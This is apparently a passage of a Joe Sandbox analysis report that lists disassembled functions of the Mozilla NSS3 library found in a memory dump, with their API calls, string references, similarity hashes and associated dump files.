NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6CF06FDB
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6CF06F4F
# SSL/TLS secrets log file, generated by NSS, xrefs: 6CF06EF7

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: ef8c6e2e91eef0fb32aa4a97e51d112f5b419316b3a32433bbf39d7d4d9e1138
Instruction ID: 3f8b280e6e3f01210b3d6d131be40a478fafb2339efd05186cc36ca93377c8a5
Opcode Fuzzy Hash: ef8c6e2e91eef0fb32aa4a97e51d112f5b419316b3a32433bbf39d7d4d9e1138
Instruction Fuzzy Hash: 21A1F7B3F6599187F7504A3CCC2134533B2AB9372AF6843ABE831C7ED4DB75A4809641

Function 6CE85DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE85DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6CE85E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6CE85E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6CE85E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6CE85EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6CE85ED9
SECKEY_SignatureLen.NSS3(?), ref: 6CE85F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6CE85F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CE85F89
free.MOZGLUE(?), ref: 6CE85FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE85FB6
free.MOZGLUE(00000000), ref: 6CE85FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CE8600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CE86079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE86084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE86094

Strings

, xrefs: 6CE85EEB

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: dc0a4925e37bb16d5f8ac235572c6eeb313cbdccd844cf557de83e7274cdc2ae
Instruction ID: 34bd405583d0eeb515deb896a0371ee877053ea69236e97ca57506700dd23f92
Opcode Fuzzy Hash: dc0a4925e37bb16d5f8ac235572c6eeb313cbdccd844cf557de83e7274cdc2ae
Instruction Fuzzy Hash: 5581D771E032059BEB108A64CD857AE77B5AF4531CF244528E81EA7791EB31E905CBE2

Function 6CEA6D60 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6CEA6D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEA6DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEA6DC3

Part of subcall function 6CF8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEA6DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CEA6DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CEA6E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6CEA6E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6CEA6E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6CEA6EB9

Strings

pulDigestLen = 0x%p, xrefs: 6CEA6E42
pData = 0x%p, xrefs: 6CEA6DF5
hSession = 0x%x, xrefs: 6CEA6D9E, 6CEA6DAE
C_Digest, xrefs: 6CEA6D81
(CK_INVALID_HANDLE), xrefs: 6CEA6DBC
*pulDigestLen = 0x%x, xrefs: 6CEA6EB4
ulDataLen = %d, xrefs: 6CEA6E0E
pDigest = 0x%p, xrefs: 6CEA6E27

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest
API String ID: 1003633598-2270781106
Opcode ID: e6980257783408d3020117c3085cec77bdaeb30469ad5e6b75887f155d0134df
Instruction ID: 3c86c798064f1f10a951a5734fc8fbb1ac43977a0312842893c794bdd1392737
Opcode Fuzzy Hash: e6980257783408d3020117c3085cec77bdaeb30469ad5e6b75887f155d0134df
Instruction Fuzzy Hash: 1141F735A12014EFDB009FA8DD4DF8A7BB5AB4770CF558058E8089BB11DB32AD09CBD2

Function 6CE61FE0 Relevance: 28.8, APIs: 19, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6CE62007
calloc.MOZGLUE(00000001,00000084), ref: 6CE62077
calloc.MOZGLUE(00000001,0000002C), ref: 6CE620DF
TlsSetValue.KERNEL32(00000000), ref: 6CE62188
PR_NewCondVar.NSS3 ref: 6CE621B7
calloc.MOZGLUE(00000001,00000084), ref: 6CE6221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CE622C2
GetLastError.KERNEL32 ref: 6CE622CD
free.MOZGLUE(00000000), ref: 6CE622DD

Part of subcall function 6CE60F00: PR_GetPageSize.NSS3(6CE60936,FFFFE8AE,?,6CDF16B7,00000000,?,6CE60936,00000000,?,6CDF204A), ref: 6CE60F1B
Part of subcall function 6CE60F00: PR_NewLogModule.NSS3(clock,6CE60936,FFFFE8AE,?,6CDF16B7,00000000,?,6CE60936,00000000,?,6CDF204A), ref: 6CE60F25

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID:
API String ID: 3559583721-0
Opcode ID: a55d63ea09162fa468e2cd55e66e2c5ae5b55f276f05da6a4766d46132577250
Instruction ID: 15df9b62df265c7a930efce6a8549f102a9afa89d46bc4f5f553d5cc9e43f8e1
Opcode Fuzzy Hash: a55d63ea09162fa468e2cd55e66e2c5ae5b55f276f05da6a4766d46132577250
Instruction Fuzzy Hash: 47916BB0BA17019FDBA0DF39C80D75B7AF4BB1A708F24442AE45AD7E40DB71A509CB91

Function 6CEDE8C0 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 353memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(0000001C,?,6CEDE853,?,FFFFFFFF,?,?,6CEDB0CC,?,6CEDB4A0,?,00000000), ref: 6CEDE8D9

Part of subcall function 6CED0D30: calloc.MOZGLUE ref: 6CED0D50
Part of subcall function 6CED0D30: TlsGetValue.KERNEL32 ref: 6CED0D6D

Part of subcall function 6CEDC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CEDDAE2,?), ref: 6CEDC6C2

PORT_ArenaMark_Util.NSS3(?), ref: 6CEDE972
PORT_ArenaMark_Util.NSS3(?), ref: 6CEDE9C2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEDEA00
PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6CEDEA3F
SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6CEDEA5A
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CEDEA81
SECOID_SetAlgorithmID_Util.NSS3(?,?,00000010,00000000), ref: 6CEDEA9E
SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CEDEACF
PK11_KeyGen.NSS3(00000000,-00000001,00000000,?,00000000), ref: 6CEDEB56
PK11_FreeSymKey.NSS3(00000000), ref: 6CEDEBC2
SECOID_FindOID_Util.NSS3(?), ref: 6CEDEBEC
free.MOZGLUE(00000000), ref: 6CEDEC58

Strings

Sl, xrefs: 6CEDE9CA, 6CEDEAAB

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Find$ArenaTag_$AlgorithmAlloc_K11_Mark_$DestroyFreePublicValuecallocfree
String ID: Sl
API String ID: 759478663-500794738
Opcode ID: 95ae79ed8647a76f14a8e05918a970ea03048c44e0f61280a7bc5fb51567ff2f
Instruction ID: 882c5253865fd45a1b5657a1f707e4d9353da404a301c2ca87772b8694f52a8b
Opcode Fuzzy Hash: 95ae79ed8647a76f14a8e05918a970ea03048c44e0f61280a7bc5fb51567ff2f
Instruction Fuzzy Hash: 30C1A5B1E016459FEB14CF69D884BAEB7B4AF0531CF260069E906A7B51E731F806CBD1

Function 6CF028C0 Relevance: 27.2, APIs: 18, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 6CF05B40: PR_GetIdentitiesLayer.NSS3 ref: 6CF05B56

TlsGetValue.KERNEL32 ref: 6CF0290A
EnterCriticalSection.KERNEL32(00000001), ref: 6CF0291E
TlsGetValue.KERNEL32 ref: 6CF02937
EnterCriticalSection.KERNEL32(00000001), ref: 6CF0294B
PR_EnterMonitor.NSS3(?), ref: 6CF02966
PR_EnterMonitor.NSS3(?), ref: 6CF029AC
PR_ExitMonitor.NSS3(?), ref: 6CF029D1
PR_EnterMonitor.NSS3(?), ref: 6CF029F0
PR_EnterMonitor.NSS3(?), ref: 6CF02A15
PR_EnterMonitor.NSS3(?), ref: 6CF02A37
PR_ExitMonitor.NSS3(?), ref: 6CF02A61
PR_ExitMonitor.NSS3(?), ref: 6CF02A78
PR_ExitMonitor.NSS3(?), ref: 6CF02A8F
PR_ExitMonitor.NSS3(?), ref: 6CF02AA6

Part of subcall function 6CF39440: TlsGetValue.KERNEL32 ref: 6CF3945B
Part of subcall function 6CF39440: TlsGetValue.KERNEL32 ref: 6CF39479
Part of subcall function 6CF39440: EnterCriticalSection.KERNEL32 ref: 6CF39495
Part of subcall function 6CF39440: TlsGetValue.KERNEL32 ref: 6CF394E4
Part of subcall function 6CF39440: TlsGetValue.KERNEL32 ref: 6CF39532
Part of subcall function 6CF39440: LeaveCriticalSection.KERNEL32 ref: 6CF3955D

PK11_HPKE_DestroyContext.NSS3(?,00000001), ref: 6CF02AF9
free.MOZGLUE(?), ref: 6CF02B16
PR_Unlock.NSS3(?), ref: 6CF02B6D
PR_Unlock.NSS3(?), ref: 6CF02B80

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$Exit$CriticalSection$Unlock$ContextDestroyIdentitiesK11_LayerLeavefree
String ID:
API String ID: 2841089016-0
Opcode ID: 0ecc3d373e1936fd8f4216fbfe4429a27787a98bb17173c42a4a04aaa854398d
Instruction ID: c5df8e02ee3c8d042750095a93b34ffa6775475bb91d08eab58010aa6c8990fc
Opcode Fuzzy Hash: 0ecc3d373e1936fd8f4216fbfe4429a27787a98bb17173c42a4a04aaa854398d
Instruction Fuzzy Hash: 7F81D2B1B00B009BEB209F35EC59B97B7F5AF01308F044828E85AC7B51EB36E519CB91

Function 6CF89C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6CF89C70
PR_NewLock.NSS3 ref: 6CF89C85

Part of subcall function 6CF398D0: calloc.MOZGLUE(00000001,00000084,6CE60936,00000001,?,6CE6102C), ref: 6CF398E5

PR_NewCondVar.NSS3(00000000), ref: 6CF89C96

Part of subcall function 6CE5BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CE621BC), ref: 6CE5BB8C

PR_NewLock.NSS3 ref: 6CF89CA9

Part of subcall function 6CF398D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CF39946
Part of subcall function 6CF398D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CDF16B7,00000000), ref: 6CF3994E
Part of subcall function 6CF398D0: free.MOZGLUE(00000000), ref: 6CF3995E

PR_NewLock.NSS3 ref: 6CF89CB9
PR_NewLock.NSS3 ref: 6CF89CC9
PR_NewCondVar.NSS3(00000000), ref: 6CF89CDA

Part of subcall function 6CE5BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CE5BBEB
Part of subcall function 6CE5BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CE5BBFB
Part of subcall function 6CE5BB80: GetLastError.KERNEL32 ref: 6CE5BC03
Part of subcall function 6CE5BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CE5BC19
Part of subcall function 6CE5BB80: free.MOZGLUE(00000000), ref: 6CE5BC22

PR_NewCondVar.NSS3(?), ref: 6CF89CF0
PR_NewPollableEvent.NSS3 ref: 6CF89D03

Part of subcall function 6CF7F3B0: PR_CallOnce.NSS3(6CFD14B0,6CF7F510), ref: 6CF7F3E6
Part of subcall function 6CF7F3B0: PR_CreateIOLayerStub.NSS3(6CFD006C), ref: 6CF7F402
Part of subcall function 6CF7F3B0: PR_Malloc.NSS3(00000004), ref: 6CF7F416
Part of subcall function 6CF7F3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6CF7F42D
Part of subcall function 6CF7F3B0: PR_SetSocketOption.NSS3(?), ref: 6CF7F455
Part of subcall function 6CF7F3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6CF7F473

Part of subcall function 6CF39890: TlsGetValue.KERNEL32(?,?,?,6CF397EB), ref: 6CF3989E

EnterCriticalSection.KERNEL32(?), ref: 6CF89D78
calloc.MOZGLUE(00000001,0000000C), ref: 6CF89DAF
_PR_CreateThread.NSS3(00000000,6CF89EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6CF89D9F

Part of subcall function 6CE5B3C0: TlsGetValue.KERNEL32 ref: 6CE5B403
Part of subcall function 6CE5B3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6CE5B459

_PR_CreateThread.NSS3(00000000,6CF8A060,00000000,00000001,00000001,00000000,?,00000000), ref: 6CF89DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6CF89DFC
_PR_CreateThread.NSS3(00000000,6CF8A530,00000000,00000001,00000001,00000000,?,00000000), ref: 6CF89E29
calloc.MOZGLUE(00000001,0000000C), ref: 6CF89E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6CF89E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF89E89

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: 871159f03209f3486e4eadc263af86ed0561fab5dde14a9f5edfb09e1312bdba
Instruction ID: 49cf8a20c4755570d8caea3f8416e9a77bea8166a0def3431ff953408a88835a
Opcode Fuzzy Hash: 871159f03209f3486e4eadc263af86ed0561fab5dde14a9f5edfb09e1312bdba
Instruction Fuzzy Hash: F36148B1E01706AFD714DF75C844AA7BBF8FF48208B14452AE85AC7B10EB71E914CBA1

Function 6CE83FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6CE84014

Part of subcall function 6CE839F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CE85E6F,?), ref: 6CE83A08
Part of subcall function 6CE839F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CE85E6F), ref: 6CE83A1C
Part of subcall function 6CE839F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE83A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6CE84038

Part of subcall function 6CED0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE787ED,00000800,6CE6EF74,00000000), ref: 6CED1000
Part of subcall function 6CED0FF0: PR_NewLock.NSS3(?,00000800,6CE6EF74,00000000), ref: 6CED1016
Part of subcall function 6CED0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE787ED,00000008,?,00000800,6CE6EF74,00000000), ref: 6CED102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CE8404D

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6CF9A0F4), ref: 6CE840C2

Part of subcall function 6CECF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CECF0C8
Part of subcall function 6CECF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CECF122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6CE8409A

Part of subcall function 6CECBE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CE7E708,00000000,00000000,00000004,00000000), ref: 6CECBE6A
Part of subcall function 6CECBE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CE804DC,?), ref: 6CECBE7E
Part of subcall function 6CECBE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CECBEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE840DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE840F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE84108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6CE8411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6CE84137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6CE84150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6CF9A1C8), ref: 6CE8417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6CE84194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CE841A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE841B2
PK11_DestroyObject.NSS3(?,?), ref: 6CE841D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE841FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6CF9A1A8), ref: 6CE8422D

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: 8f3bafd367cc4089cb3467c42ce7aa5d452e69050e1ee82e25766e73567158a3
Instruction ID: cec542a916eae54f4331a17b1762caf27d97e96d2bf34e595e62a46b6dce0965
Opcode Fuzzy Hash: 8f3bafd367cc4089cb3467c42ce7aa5d452e69050e1ee82e25766e73567158a3
Instruction Fuzzy Hash: F75117B6B053006BF7109A259D52B6B76FCDF5124CF24052EE95EC7F82FB31E50882A2

Function 6CEC8E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6CEC8E01,00000000,6CEC9060,6CFD0B64), ref: 6CEC8E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6CEC8E01,00000000,6CEC9060,6CFD0B64), ref: 6CEC8E9E
PORT_ArenaAlloc_Util.NSS3(6CFD0B64,00000001,?,?,?,?,6CEC8E01,00000000,6CEC9060,6CFD0B64), ref: 6CEC8EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6CEC8E01,00000000,6CEC9060,6CFD0B64), ref: 6CEC8EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6CEC8E01,00000000,6CEC9060,6CFD0B64), ref: 6CEC8ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6CEC8E01,00000000,6CEC9060,6CFD0B64), ref: 6CEC8EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6CEC8E01), ref: 6CEC8EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CFD0B64,6CFD0B64), ref: 6CEC8F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6CEC8F3F

Part of subcall function 6CECA110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6CECA421,00000000,00000000,6CEC9826), ref: 6CECA136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEC904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6CEC8E76

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
